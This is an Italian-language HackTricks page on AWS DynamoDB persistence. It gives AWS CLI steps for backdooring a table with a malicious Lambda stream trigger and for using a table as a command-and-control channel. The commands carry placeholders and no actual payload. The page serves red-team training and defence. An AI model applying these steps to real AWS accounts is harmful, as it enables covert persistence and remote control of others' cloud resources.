# AWS - Persistenza DynamoDB {{#include ../../../banners/hacktricks-training.md}} ### DynamoDB Per ulteriori informazioni accedi a: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} ### Trigger DynamoDB con Backdoor Lambda Utilizzando i trigger di DynamoDB, un attaccante può creare una **backdoor furtiva** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ --function-name MaliciousFunction \ --runtime nodejs14.x \ --role \ --handler index.handler \ --zip-file fileb://malicious_function.zip \ --region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ --table-name TargetTable \ --region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ --function-name MaliciousFunction \ --event-source \ --region ``` Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda malevola. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda. ### DynamoDB come canale C2 Un attaccante può utilizzare una tabella DynamoDB come un **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ --table-name C2Table \ --attribute-definitions AttributeName=CommandId,AttributeType=S \ --key-schema AttributeName=CommandId,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --region # Insert a command into the table aws dynamodb put-item \ --table-name C2Table \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo consente all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse. {{#include ../../../banners/hacktricks-training.md}}